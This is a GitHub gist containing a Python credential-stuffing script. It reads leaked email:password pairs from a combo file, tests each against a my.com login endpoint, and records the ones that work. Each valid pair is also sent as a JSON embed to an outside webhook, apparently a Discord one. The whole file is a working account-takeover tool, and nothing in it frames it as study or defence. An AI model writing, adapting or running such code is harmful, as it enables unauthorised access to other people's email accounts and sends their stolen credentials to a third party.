Skip to content

Instantly share code, notes, and snippets.

@xm4r1us
Last active July 3, 2020 11:35
Show Gist options
  • Save xm4r1us/2d4e69a6202582a68ebf31a08fe8bdd8 to your computer and use it in GitHub Desktop.
Save xm4r1us/2d4e69a6202582a68ebf31a08fe8bdd8 to your computer and use it in GitHub Desktop.
import requests
import json
a = open("mailcombo.txt", "r").readlines()
file = [s.rstrip()for s in a]
for lines in file:
combo = lines.split(":")
email = combo[0]
sifre = combo[1]
kokopolis = requests.get("https://aj-https.my.com/cgi-bin/auth?model=&simple=1&Login=" + email + "&Password=" + sifre)
koko = kokopolis.text
if "Ok=1" in koko:
print("Work Account: " + email + ":" + sifre)
dosya = open('workacc.txt', 'a++')
dosya.write(email + ":" + sifre + "\n")
dosya.close()
url = ""
data = {}
data["content"] = ""
data["username"] = "custom username"
data["embeds"] = []
embed = {}
embed["description"] = email + ":" + sifre
embed["title"] = "MailAccess Hesabi"
data["embeds"].append(embed)
result = requests.post(url, data=json.dumps(data), headers={"Content-Type": "application/json"})
try:
result.raise_for_status()
except requests.exceptions.HTTPError as err:
print(err)
else:
print("Payload delivered successfully, code {}.".format(result.status_code))
else:
print("Not Work Account: " + email + ":" + sifre)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment